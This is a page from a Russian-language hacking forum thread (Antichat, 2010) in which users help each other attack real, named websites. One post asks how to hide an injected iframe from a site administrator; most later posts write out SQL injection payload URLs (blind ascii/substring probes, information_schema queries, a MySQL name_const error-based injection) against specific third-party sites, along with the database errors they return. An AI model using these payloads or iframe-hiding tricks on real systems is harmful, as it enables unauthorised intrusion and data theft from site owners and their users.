ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12111  
Старый 21.03.2010, 20:59
Nek1t
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме:
405538

Репутация: 23
По умолчанию

После установки айфрейма и загрузки страницы с ним, браузер будет писать что-то вроде Sending request to iframelink.com. Внимательный админ это сразу заметит.
Есть способы скрытия обращения к странице, указанной в айфрейме?
 
Ответить с цитированием

  #12112  
Старый 21.03.2010, 21:01
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Цитата:
Сообщение от budden  
Ответ 1: фаервол.
Ответ 2: гугл. все не перечесть.

И ничего это не дает само по себе.
вот тут ты и не прав!!! сбор данных знаеш что такое, ну вот!
 
Ответить с цитированием

  #12113  
Старый 21.03.2010, 21:18
psQs
Новичок
Регистрация: 06.03.2010
Сообщений: 4
Провел на форуме:
12992

Репутация: 0
По умолчанию

Цитата:
Сообщение от Seravin  
во первых:
http://www.znania.ru/dbxhigh.asp?id=1+or+1=@@version
а во вторых
http://www.znania.ru/dbxhigh.asp?id=1+and+ascii(substring(@@version),1, 1)=53
не работает почему то
 
Ответить с цитированием

  #12114  
Старый 21.03.2010, 22:08
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388

Репутация: 87
По умолчанию

Цитата:
Сообщение от psQs  
не работает почему то
Код:
http://www.znania.ru/dbxhigh.asp?id=1+AND+ascii%28substring%28%28select+table_name+from+information_schema.tables%29,1,1%29%29%3E117
хмм.. Could not find file 'c:\windows\system32\inetsrv\information_schema.md b'.
 
Ответить с цитированием

  #12115  
Старый 21.03.2010, 22:34
psQs
Новичок
Регистрация: 06.03.2010
Сообщений: 4
Провел на форуме:
12992

Репутация: 0
По умолчанию

Цитата:
Сообщение от [Feldmarschall]  
Код:
http://www.znania.ru/dbxhigh.asp?id=1+AND+ascii%28substring%28%28select+table_name+from+information_schema.tables%29,1,1%29%29%3E117
хмм.. Could not find file 'c:\windows\system32\inetsrv\information_schema.md b'.
скажите, а где вы это все видите? у меня только вот это выводит:
Цитата:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '[primary].[Êîä] = 1 AND ascii(substring((select table_name from information_schema.tables),1,1 29)>117'. /dbxhigh.asp, line 37
 
Ответить с цитированием

  #12116  
Старый 22.03.2010, 00:36
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388

Репутация: 87
По умолчанию

Цитата:
Сообщение от psQs  
скажите, а где вы это все видите? у меня только вот это выводит:
ты пустые поля убрал ?!?
типа SELECT +TABLE_NAME
з.ы select+....
 
Ответить с цитированием

  #12117  
Старый 22.03.2010, 02:03
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988

Репутация: 739
Отправить сообщение для ILYAtirtir с помощью ICQ
По умолчанию

Какие ascii(substring ?! И причём тут information_schema ? Это Microsoft Access если что.
 
Ответить с цитированием

  #12118  
Старый 22.03.2010, 13:09
LokbatanLi
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319

Репутация: -16
Отправить сообщение для LokbatanLi с помощью ICQ
По умолчанию

Цитата:
http://www.ceylinco-insurance.com/products.php?id=1

поjaлуста , что мойно зделать ?
 
Ответить с цитированием

  #12119  
Старый 22.03.2010, 13:18
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Код:
http://www.ceylinco-insurance.com/products.php?id=(select*from(select+name_const(version(),1),name_const(version(),1))a)
 
Ответить с цитированием

  #12120  
Старый 22.03.2010, 15:51
LokbatanLi
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319

Репутация: -16
Отправить сообщение для LokbatanLi с помощью ICQ
По умолчанию

Pashkela :

Спасибо , а как дальше ?

Или есть статя об етом методе ?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ